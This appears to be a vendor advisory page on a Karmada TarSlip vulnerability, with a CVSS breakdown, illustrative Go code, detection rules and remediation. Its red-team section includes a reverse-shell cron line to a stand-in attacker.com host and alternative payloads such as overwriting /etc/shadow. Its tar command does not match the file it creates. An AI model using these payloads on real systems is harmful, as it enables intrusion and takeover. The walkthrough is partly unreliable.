CVE-2024-56514
Executive Summary
CVE-2024-56514 is a critical path traversal vulnerability (TarSlip) in Karmada, a Kubernetes management system for multi-cluster operations. The flaw exists in both karmadactl and karmada-operator components, where custom resource definitions (CRDs) can be supplied via a filesystem path or HTTP(S) URL. When these CRDs are downloaded as a gzipped tarfile, they are vulnerable to a TarSlip attack, allowing an attacker to write arbitrary files to arbitrary paths on the filesystem. This can lead to complete system compromise, including privilege escalation, data corruption, or denial of service. The vulnerability affects versions prior to 1.12.0. No public exploit code or PoC is currently available, but the attack vector is well-understood and can be weaponized by a malicious actor who can supply a crafted CRD file during Karmada initialization.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Karmada is a Go-based project. The vulnerability is introduced through the processing of external CRD files, which are often fetched from remote URLs or local paths during initialization. An attacker could compromise the supply chain by hosting a malicious CRD file on a public repository or by intercepting the download (e.g., via a man-in-the-middle attack). Since Karmada is used to manage Kubernetes clusters, a successful exploit could lead to widespread compromise across multiple clusters. Users should verify the integrity of CRD files and ensure they are obtained from trusted sources.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
- Base Score: 9.1 (Critical)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: None (C:N) – No direct data exposure.
- Integrity Impact: High (I:H) – Arbitrary file write can corrupt system files.
- Availability Impact: High (A:H) – System can be rendered inoperable.
Threat Level: Critical. The vulnerability allows arbitrary file write with no authentication, making it highly dangerous for production environments.
Deep Dive & Mechanics
The vulnerability is a classic TarSlip (CWE-22) issue. When Karmada initializes, it accepts a --crd flag (in karmadactl init) or a CRD configuration (in karmada-operator) to load custom resource definitions. These CRDs are expected to be a gzipped tar archive. The code extracts the tar archive without validating the file paths inside. An attacker can craft a tar archive containing entries with path traversal sequences (e.g., ../../etc/cron.d/malicious) to write files outside the intended extraction directory.
Attack Flow:
- Attacker creates a malicious tar.gz file containing a file with a path like
../../etc/cron.d/evil. - Attacker hosts this file on a web server or provides a local path.
- Victim runs
karmadactl init --crd http://attacker.com/malicious.tar.gzor configureskarmada-operatorto use the malicious CRD. - Karmada extracts the tar archive, writing the file to
/etc/cron.d/evil. - The cron job executes, giving the attacker a reverse shell or other persistence.
Root Cause: Lack of path sanitization in the tar extraction routine. The code does not check if the extracted file path is within the intended directory.
Vulnerable vs. Patched Code
Vulnerable Code (pre-1.12.0):
// Example of vulnerable tar extraction
func extractCRDs(archivePath string, destDir string) error {
reader, _ := os.Open(archivePath)
gzr, _ := gzip.NewReader(reader)
tarReader := tar.NewReader(gzr)
for {
header, err := tarReader.Next()
if err == io.EOF {
break
}
// No path validation
target := filepath.Join(destDir, header.Name)
os.MkdirAll(filepath.Dir(target), 0755)
f, _ := os.Create(target)
io.Copy(f, tarReader)
f.Close()
}
return nil
}
Patched Code (1.12.0+):
// Example of patched tar extraction with path validation
func extractCRDs(archivePath string, destDir string) error {
reader, _ := os.Open(archivePath)
gzr, _ := gzip.NewReader(reader)
tarReader := tar.NewReader(gzr)
for {
header, err := tarReader.Next()
if err == io.EOF {
break
}
// Validate path to prevent traversal
target := filepath.Join(destDir, header.Name)
if !strings.HasPrefix(target, filepath.Clean(destDir)+string(os.PathSeparator)) {
return fmt.Errorf("invalid tar entry: %s", header.Name)
}
os.MkdirAll(filepath.Dir(target), 0755)
f, _ := os.Create(target)
io.Copy(f, tarReader)
f.Close()
}
return nil
}
The patched version uses filepath.Clean and strings.HasPrefix to ensure the resolved path stays within the destination directory.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Karmada initialization process (e.g., via
karmadactl initorkarmada-operator). - Ability to host a malicious tar.gz file (e.g., on a public web server or local network).
Exploit Steps:
- Create a malicious tar.gz file that writes a cron job or SSH key:
# Create a malicious file echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'" > evil_cron # Create tar with path traversal tar -czf malicious.tar.gz ../../etc/cron.d/evil_cron - Host the file:
python3 -m http.server 8080 - On the victim machine, run:
karmadactl init --crd http://attacker.com:8080/malicious.tar.gz - The cron job is written to
/etc/cron.d/evil_cronand executes after the next cron cycle.
Alternative Payloads:
- Overwrite
/etc/shadowto reset root password. - Write an SSH authorized_keys file.
- Modify Kubernetes manifests to deploy malicious pods.
Blue Team
Detection:
- Monitor for unexpected file writes in sensitive directories (e.g.,
/etc/cron.d,/root/.ssh). - Alert on
karmadactl initorkarmada-operatoroperations that use external CRD URLs. - Use file integrity monitoring (FIM) to detect changes to system binaries.
Prevention:
- Upgrade to Karmada 1.12.0 or later.
- If upgrade is not possible, manually inspect CRD files for path traversal sequences (
../). - Restrict network access to only trusted CRD sources.
- Use a web application firewall (WAF) to block malicious tar files.
Hunting:
- Search for files created by the
karmadactlorkarmada-operatorprocess in unusual locations. - Check for cron jobs or systemd services that were not manually configured.
Indicators of Compromise (IOCs)
- File Paths:
/etc/cron.d/*,/root/.ssh/authorized_keys,/etc/shadow(modified unexpectedly) - Network Connections: Outbound connections from the Karmada host to unknown IPs (e.g., for reverse shells)
- Processes:
karmadactlorkarmada-operatorwith--crdflag pointing to external URLs - Logs: Karmada logs showing extraction of tar files with suspicious paths
- File Hashes: Malicious tar.gz files with path traversal entries (e.g., containing
../)
Detection Engineering
YARA Rule
rule CVE_2024_56514_TarSlip {
meta:
description = "Detects malicious tar.gz files with path traversal sequences targeting Karmada"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-56514"
strings:
$traversal = /\.\.\/|\.\.\\/
$tar_magic = { 1f 8b 08 } // gzip magic bytes
condition:
$tar_magic at 0 and #traversal > 0
}
Sigma Rule
title: Karmada TarSlip Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2024-56514 via malicious CRD files
author: Valters IT
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith:
- '/karmadactl'
- '/karmada-operator'
CommandLine|contains: '--crd'
condition: selection
falsepositives:
- Legitimate use of custom CRDs from trusted sources
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-56514 Karmada TarSlip - Malicious CRD Download"; flow:to_client; content:"|1f 8b 08|"; depth:3; content:"|2e 2e 2f|"; distance:0; within:1024; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade to Karmada version 1.12.0 or later.
- If upgrade is not possible, manually inspect all CRD files for path traversal sequences (
../). - Restrict the
--crdflag usage to only trusted, local files. - Implement network segmentation to limit outbound connections from Karmada hosts.
Long-Term Measures:
- Adopt a secure software development lifecycle (SSDLC) with automated security testing.
- Use a web application firewall (WAF) to inspect HTTP(S) traffic for malicious tar files.
- Enable file integrity monitoring (FIM) on critical system directories.
- Conduct regular security audits of Kubernetes management tools.
Workaround:
- For
karmadactl init, manually verify CRD files before use. - For
karmada-operator, upgrade to a fixed version.
Valters IT